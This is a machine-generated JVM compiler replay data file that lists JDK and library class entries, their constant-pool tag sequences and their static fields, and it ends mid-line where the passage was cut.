1\nciInstanceKlass jdk/internal/loader/ClassLoaders 1 1 143 10 9 9 9 7 11 100 11 11 10 10 100 100 10 9 8 10 7 10 7 10 10 7 10 8 10 8 8 7 10 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 1 100 12 1 12 12 100 12 100 12 1 1 7 12 12 1 7 12 1 12 1 12 12 1 12 1 7 12 1 1 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield jdk/internal/loader/ClassLoaders JLA Ljdk/internal/misc/JavaLangAccess; java/lang/System$2\nstaticfield jdk/internal/loader/ClassLoaders BOOT_LOADER Ljdk/internal/loader/ClassLoaders$BootClassLoader; jdk/internal/loader/ClassLoaders$BootClassLoader\nstaticfield jdk/internal/loader/ClassLoaders PLATFORM_LOADER Ljdk/internal/loader/ClassLoaders$PlatformClassLoader; jdk/internal/loader/ClassLoaders$PlatformClassLoader\nstaticfield jdk/internal/loader/ClassLoaders APP_LOADER Ljdk/internal/loader/ClassLoaders$AppClassLoader; jdk/internal/loader/ClassLoaders$AppClassLoader\ninstanceKlass jdk/internal/loader/ClassLoaders$BootClassLoader\ninstanceKlass jdk/internal/loader/ClassLoaders$PlatformClassLoader\ninstanceKlass jdk/internal/loader/ClassLoaders$AppClassLoader\nciInstanceKlass jdk/internal/loader/BuiltinClassLoader 1 1 762 10 10 9 9 7 10 9 9 10 10 11 100 100 10 10 8 10 10 7 10 10 11 11 11 7 9 8 8 10 10 9 11 7 10 10 10 10 10 10 10 11 10 100 10 10 10 100 8 10 10 8 10 10 11 11 7 7 10 11 11 10 7 10 10 7 7 10 7 7 10 10 100 10 11 100 100 10 10 100 100 10 10 18 10 10 18 100 10 7 10 10 10 10 10 9 100 10 10 10 10 10 10 10 10 10 10 18 7 10 10 10 10 100 10 7 10 10 10 11 7 10 7 100 10 10 11 10 10 10 10 10 10 10 10 8 10 10 10 100 8 8 10 10 8 8 10 11 9 10 9 9 9 9 9 9 10 8 10 10 10 10 8 7 8 10 10 10 10 7 10 9 8 8 10 7 7 10 11 10 10 10 100 10 10 10 7 10 10 8 10 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 7 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 7 7 1 1 1 1 1 1 1 1 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 7 12 12 12 12 1 12 12 12 12 12 12 1 1 12 1 12 12 1 12 12 7 12 12 12 1 12 1 1 12 7 12 12 12 1 12 12 12 7 12 12 12 12 12 7 12 1 7 12 12 1 1 12 1 12 12 12 12 1 1 12 12 1 12 12 1 1 12 1 1 12 7 12 1 12 12 1 1 12 12 1 1 12 12 1 15 16 15 16 12 12 12 15 16 1 7 12 1 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 15 16 12 1 12 12 12 12 1 12 100 1 1 12 12 12 12 1 12 1 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 1 1 1 12 1 1 7 12 7 12 7 12 12 12 12 12 12 12 12 12 1 12 12 12 12 1 1 1 12 12 7 12 1 12 7 12 1 1 12 1 1 12 12 12 12 1 12 12 1 12 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 10 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 1 1 100 1 1 100 1 1\nstaticfield jdk/internal/loader/BuiltinClassLoader packageToModule Ljava/util/Map; java/util/concurrent/ConcurrentHashMap\nstaticfield jdk/internal/loader/BuiltinClassLoader $assertionsDisabled Z 1\nciInstanceKlass jdk/internal/loader/ClassLoaders$AppClassLoader 1 1 134 8 10 9 10 10 10 10 10 10 7 8 10 10 10 9 11 10 10 100 10 7 7 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 12 12 7 12 100 12 12 12 12 12 1 1 12 7 12 100 12 12 100 12 12 7 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass jdk/internal/loader/ClassLoaders$PlatformClassLoader 1 1 57 8 10 9 11 10 100 10 100 7 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 12 12 100 12 7 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/security/CodeSource 1 1 402 10 9 9 9 9 10 9 10 100 10 100 10 7 10 10 10 100 10 10 10 10 10 100 10 10 10 10 10 10 10 10 10 10 10 10 10 8 10 10 10 10 8 10 10 100 10 10 8 10 10 10 8 8 9 100 8 10 10 8 10 8 8 8 10 10 10 10 10 10 100 100 10 10 10 10 10 100 10 10 8 10 10 10 100 10 100 100 8 8 10 10 10 100 10 10 11 10 10 11 10 10 8 100 10 10 100 10 11 11 7 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 100 1 1 1 1 1 1 1 1 1 12 12 12 12 12 7 12 12 100 12 100 12 1 12 12 100 1 12 100 12 12 12 1 12 100 100 12 100 12 12 12 12 12 12 1 12 12 12 12 1 12 1 12 1 12 12 12 1 1 12 1 1 12 12 1 12 1 1 1 12 12 12 12 12 12 1 1 12 12 12 12 12 1 12 1 12 12 12 1 12 1 1 1 1 12 100 12 1 12 12 12 12 12 100 1 1 12 12 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/lang/StackTraceElement 1 1 224 10 10 9 9 9 9 8 10 7 9 8 9 9 9 8 10 10 7 10 10 8 10 10 8 8 8 10 8 8 10 8 8 7 10 10 10 10 9 10 10 7 10 10 10 10 10 10 10 10 10 7 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 3 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 1 100 12 1 12 1 12 12 12 1 12 12 1 12 1 12 12 1 1 1 12 1 1 12 1 1 1 12 12 12 12 12 12 12 1 12 7 12 7 12 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/nio/IntBuffer\ninstanceKlass java/nio/LongBuffer\ninstanceKlass java/nio/CharBuffer\ninstanceKlass java/nio/ByteBuffer\nciInstanceKlass java/nio/Buffer 1 1 194 100 10 9 9 10 9 10 10 100 100 10 8 10 10 8 8 10 10 8 9 100 8 10 8 8 9 10 8 8 8 10 8 8 8 100 10 100 10 100 10 100 10 7 10 10 9 7 10 10 7 1 1 1 1 1 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 12 1 1 1 12 12 1 1 12 12 1 12 1 1 12 1 1 12 12 1 1 1 12 1 1 1 1 1 1 1 1 7 12 7 12 12 1 7 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/nio/Buffer UNSAFE Ljdk/internal/misc/Unsafe; jdk/internal/misc/Unsafe\nstaticfield java/nio/Buffer $assertionsDisabled Z 1\nciInstanceKlass java/lang/StackWalker 0 0 235 9 10 100 10 10 11 10 10 100 10 100 8 10 10 10 10 9 9 9 9 10 9 10 11 100 8 10 10 9 10 10 10 18 100 8 10 10 10 9 11 10 100 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 100 12 1 100 12 12 100 12 12 12 1 12 1 1 12 12 12 12 12 12 12 12 12 12 100 12 12 1 1 12 12 12 100 12 100 12 1 15 16 15 16 12 1 1 12 100 12 12 100 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 10 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 1 1 100 1 1 100 1 1\nciInstanceKlass java/lang/StackStreamFactory$AbstractStackWalker 1 0 306 100 100 3 10 10 10 9 10 9 9 9 9 9 10 10 9 10 10 9 9 100 10 8 10 10 8 10 10 100 8 10 8 10 9 10 9 8 5 0 8 8 9 10 10 10 9 10 10 10 10 10 10 8 10 10 10 10 8 100 10 10 10 10 10 10 9 8 10 10 10 10 10 10 10 10 10 10 8 100 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 100 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 100 12 12 12 12 12 12 12 100 12 100 12 12 12 12 12 12 100 12 1 1 12 12 1 12 100 12 1 1 12 1 12 100 12 12 12 1 1 1 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 1 1 12 12 12 12 12 100 12 12 1 12 12 12 12 12 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/lang/LiveStackFrameInfo\nciInstanceKlass java/lang/StackFrameInfo 0 0 140 10 9 9 100 9 9 9 11 9 11 10 10 10 11 11 11 10 10 10 10 11 10 9 10 100 8 10 10 100 100 1 1 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 12 12 12 1 12 12 12 100 12 12 12 12 100 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 12 100 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/lang/LiveStackFrameInfo 0 0 97 10 9 9 9 9 9 100 10 10 8 10 100 8 8 8 10 100 10 100 10 100 100 100 1 1 1 1 1 1 1 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 1 12 12 1 12 1 1 1 1 1 12 1 12 1 1 1 1 1 1 1 1 1\ninstanceKlass java/util/concurrent/locks/AbstractQueuedSynchronizer\nciInstanceKlass java/util/concurrent/locks/AbstractOwnableSynchronizer 1 1 32 10 9 7 7 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1 1\nciInstanceKlass java/lang/Boolean 1 1 128 10 9 10 10 8 10 9 9 8 10 7 10 10 100 100 10 10 8 10 9 7 100 100 1 1 1 1 1 1 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 1 12 12 12 1 12 1 12 7 12 1 1 12 12 1 7 12 12 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Boolean TRUE Ljava/lang/Boolean; java/lang/Boolean\nstaticfield java/lang/Boolean FALSE Ljava/lang/Boolean; java/lang/Boolean\nstaticfield java/lang/Boolean TYPE Ljava/lang/Class; java/lang/Class\nciInstanceKlass java/lang/Character 1 1 551 7 100 10 9 9 10 10 10 10 10 10 3 3 3 3 3 10 10 3 11 11 10 10 100 10 10 3 10 10 10 100 8 7 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 5 0 10 10 10 10 10 10 10 10 10 10 9 100 10 10 10 3 10 10 10 100 10 10 10 10 8 10 9 10 10 10 10 10 10 10 10 10 100 8 10 10 8 10 9 100 100 7 1 1 100 1 100 1 100 1 1 1 1 3 1 3 1 1 3 1 3 1 1 1 1 1 1 1 3 1 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 1 1 1 1 1 1 3 1 1 3 1 1 1 1 1 3 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 12 12 12 12 12 7 12 12 12 12 1 12 12 12 12 1 1 1 100 12 12 12 12 12 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 100 12 12 12 1 12 12 12 1 12 100 12 12 12 12 12 12 12 1 1 12 7 12 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Character TYPE Ljava/lang/Class; java/lang/Class\nstaticfield java/lang/Character $assertionsDisabled Z 1\ninstanceKlass java/math/BigDecimal\ninstanceKlass java/math/BigInteger\ninstanceKlass java/util/concurrent/atomic/AtomicLong\ninstanceKlass java/util/concurrent/atomic/AtomicInteger\ninstanceKlass java/lang/Long\ninstanceKlass java/lang/Integer\ninstanceKlass java/lang/Short\ninstanceKlass java/lang/Byte\ninstanceKlass java/lang/Double\ninstanceKlass java/lang/Float\nciInstanceKlass java/lang/Number 1 1 37 10 10 100 7 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1 1\nciInstanceKlass java/lang/Float 1 1 192 7 100 10 10 4 100 10 10 8 8 10 10 10 10 4 4 4 10 9 10 10 10 10 10 10 3 10 10 10 10 8 10 9 7 100 1 1 1 1 1 4 1 1 1 4 1 1 3 1 3 1 3 1 3 1 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 100 12 1 12 12 1 1 100 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 7 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Float TYPE Ljava/lang/Class; java/lang/Class\nciInstanceKlass java/lang/Double 1 1 254 7 100 10 10 10 100 10 10 6 0 8 10 8 10 8 6 0 10 100 5 0 5 0 8 8 10 10 8 10 8 8 8 10 10 10 10 10 10 10 10 6 0 6 0 6 0 10 9 10 10 10 10 5 0 10 10 10 10 8 10 9 7 100 1 1 1 1 1 6 0 1 1 1 6 0 1 1 3 1 3 1 3 1 3 1 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 12 12 1 12 100 12 1 12 1 12 1 12 1 1 1 100 12 12 1 12 1 1 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 7 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Double TYPE Ljava/lang/Class; java/lang/Class\nciInstanceKlass java/lang/Byte 1 1 178 7 10 9 10 7 100 10 8 10 8 10 10 10 10 10 10 10 10 8 8 10 9 10 10 10 10 10 5 0 10 8 10 9 7 100 7 1 1 1 1 1 3 1 3 1 1 1 1 1 1 1 3 1 3 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 1 1 12 1 12 1 12 12 12 12 12 12 12 12 1 1 12 12 12 12 12 12 12 1 7 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Byte TYPE Ljava/lang/Class; java/lang/Class\nciInstanceKlass java/lang/Short 1 1 186 7 100 10 10 7 100 10 8 10 8 10 10 10 10 10 10 9 10 10 10 8 8 10 9 10 10 10 10 10 3 3 5 0 10 8 10 9 7 100 7 1 1 1 1 1 3 1 3 1 1 1 1 1 1 1 3 1 3 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 1 1 12 1 12 1 12 12 12 12 12 12 12 12 12 12 1 1 12 12 12 12 12 12 12 1 7 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Short TYPE Ljava/lang/Class; java/lang/Class\nciInstanceKlass java/lang/Integer 1 1 413 7 100 7 7 10 9 9 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 9 9 7 8 10 100 10 8 10 10 8 10 8 10 3 10 3 10 10 10 7 11 100 10 11 10 8 10 8 100 10 10 5 0 8 10 10 10 10 7 9 9 10 10 9 10 10 10 10 100 100 10 8 8 10 8 8 8 8 8 8 10 10 10 5 0 3 3 3 3 10 3 10 10 8 10 9 3 3 3 3 3 3 9 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 3 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 100 12 12 100 12 12 100 12 12 12 7 12 12 12 12 12 12 12 12 12 1 1 12 1 12 1 12 12 1 12 1 12 12 12 12 7 12 1 1 12 1 12 1 1 12 12 1 12 12 12 12 1 12 12 12 12 12 12 12 7 12 1 1 12 1 1 12 1 1 1 1 1 1 12 12 12 12 12 12 1 7 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Integer TYPE Ljava/lang/Class; java/lang/Class\nstaticfield java/lang/Integer digits [C 36\nstaticfield java/lang/Integer DigitTens [B 100\nstaticfield java/lang/Integer DigitOnes [B 100\nstaticfield java/lang/Integer sizeTable [I 10\nciInstanceKlass java/lang/Long 1 1 478 7 100 7 7 10 9 9 10 10 10 10 10 10 10 10 5 0 5 0 7 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 7 5 0 5 0 9 9 5 0 7 8 10 8 10 8 8 10 5 0 10 5 0 10 10 10 100 11 100 10 11 10 8 10 8 100 10 10 8 8 11 10 10 10 5 0 5 0 9 10 8 8 10 8 8 8 8 8 8 10 10 10 10 9 10 10 10 100 100 10 10 10 10 10 10 10 5 0 5 0 5 0 10 5 0 5 0 10 10 10 8 10 9 7 100 7 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 3 1 3 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 100 12 12 100 12 12 12 12 12 1 12 12 12 12 12 12 100 12 12 12 12 12 12 7 12 12 12 12 12 12 12 1 12 12 1 1 12 1 12 1 1 12 12 12 12 100 12 1 1 12 1 12 1 1 12 12 1 1 12 12 12 12 12 12 1 1 12 1 1 1 1 1 1 12 12 12 12 12 12 100 12 1 1 12 12 12 12 12 12 12 12 12 12 1 7 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Long TYPE Ljava/lang/Class; java/lang/Class\nciInstanceKlass java/lang/NullPointerException 1 1 26 10 10 100 7 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\nciInstanceKlass java/lang/ArithmeticException 1 1 26 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\nciInstanceKlass java/util/Comparator 1 1 288 10 10 18 7 7 11 11 11 11 11 11 10 9 100 10 18 18 18 18 18 10 10 8 10 8 8 8 8 8 10 10 8 10 10 8 10 8 10 10 8 10 100 8 7 8 8 100 8 8 100 100 8 10 11 10 11 10 11 10 11 7 11 11 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 7 12 1 15 16 15 3 3 12 1 1 12 12 12 12 12 12 12 7 12 100 1 1 1 12 15 12 15 12 15 12 15 12 15 12 100 12 12 12 12 12 12 12 12 12 12 1 1 1 1 1 1 12 12 100 12 12 100 12 12 100 12 12 1 12 12 1 1 1 1 1 1 10 11 1 1 1 1 1 1 1 1 11 1 11 11 11 11 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 12 12 12 12 12 12 1 1 100 1 1 100 1 1\nciInstanceKlass java/lang/String$CaseInsensitiveComparator 1 1 77 10 9 10 10 10 10 10 10 9 7 10 7 7 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 12 12 12 12 7 12 7 12 12 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/Collection 1 1 115 11 100 11 10 11 11 11 11 11 10 11 10 7 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 1 12 100 12 12 12 12 100 12 12 7 12 12 7 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/Set 1 1 138 100 10 10 7 10 10 7 7 10 100 100 100 10 10 11 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 7 12 1 1 1 12 12 1 1 1 12 1 1 1 1 12 12 12 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/util/EnumMap$Values\ninstanceKlass java/util/WeakHashMap$Values\ninstanceKlass com/sun/tools/javac/util/List\ninstanceKlass java/util/concurrent/ConcurrentLinkedDeque\ninstanceKlass java/util/AbstractMap$2\ninstanceKlass org/eclipse/sisu/inject/MildElements\ninstanceKlass org/eclipse/sisu/inject/MildValues$1\ninstanceKlass com/google/common/collect/AbstractMapBasedMultimap$WrappedCollection\ninstanceKlass com/google/common/collect/Maps$Values\ninstanceKlass com/google/common/collect/AbstractMultimap$Values\ninstanceKlass java/util/TreeMap$Values\ninstanceKlass com/google/common/collect/ImmutableCollection\ninstanceKlass java/util/IdentityHashMap$Values\ninstanceKlass java/util/AbstractQueue\ninstanceKlass java/util/LinkedHashMap$LinkedValues\ninstanceKlass java/util/HashMap$Values\ninstanceKlass java/util/ArrayDeque\ninstanceKlass java/util/AbstractList\ninstanceKlass java/util/AbstractSet\ninstanceKlass java/util/ImmutableCollections$AbstractImmutableCollection\nciInstanceKlass java/util/AbstractCollection 1 1 173 100 10 10 10 11 11 10 7 10 10 10 10 10 7 10 7 3 10 100 8 10 3 100 10 11 11 10 10 10 11 8 7 10 10 8 10 10 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 1 100 12 12 12 7 12 7 12 100 12 1 12 1 1 12 1 12 12 12 7 12 1 1 12 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/Objects 1 1 140 10 100 8 10 10 10 10 10 10 10 11 100 10 10 8 10 8 100 11 8 100 10 10 10 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 1 12 12 7 12 12 12 12 12 100 12 1 12 12 1 12 1 1 7 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass org/springframework/util/ConcurrentReferenceHashMap\ninstanceKlass 